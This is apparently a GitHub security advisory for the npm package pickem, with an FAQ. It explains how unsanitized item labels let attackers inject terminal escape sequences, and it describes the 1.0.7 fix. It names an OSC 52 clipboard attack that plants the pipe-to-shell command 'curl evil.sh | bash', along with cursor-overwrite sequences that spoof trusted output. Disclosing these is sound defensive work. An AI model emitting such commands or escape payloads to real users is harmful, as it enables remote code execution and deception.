GHSA-8qx3-8gm5-9cj2: Npm/pickem vulnerability
Impact pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g. curl evil.sh | bash into the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (ESC[1A, ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/pickemto a version that resolves this vulnerability.Fixed in 1.0.7 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 1.0.7 - Configuration
Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem; sanitizeDisplay() should strip every escape sequence except inert SGR (color), and remove all C0/C1/DEL control bytes for all externally-supplied display strings (e.g., select/search/checkbox/searchable-checkbox/input labels, row meta, createFormatter output, and selection-summary lines).
pickem untrusted text sanitization at render boundary = strip
Event History
Frequently Asked Questions
Who is exposed to this issue?
Any CLI that passes untrusted strings into pickem choices is affected. Common attacker-controlled sources include git branch names, pull-request or issue titles, filenames, and npm or API results.
What does an attacker need to exploit it?
The attacker needs to cause a user to render a pickem choice containing terminal control sequences. The vulnerable display paths included inactive rows, the public createFormatter output, and selection-summary lines.
What is the remediation?
Update pickem to version 1.0.7. This release applies sanitizeDisplay() at the render boundary across externally supplied display strings and removes escape sequences and C0/C1/DEL control bytes while retaining inert SGR color sequences.
What could exploitation enable?
A malicious label could write an OSC 52 payload to the terminal clipboard, potentially causing code execution if the user later pastes it into a shell. It could also use cursor movement and erase sequences to overwrite trusted terminal output or hide malicious entries.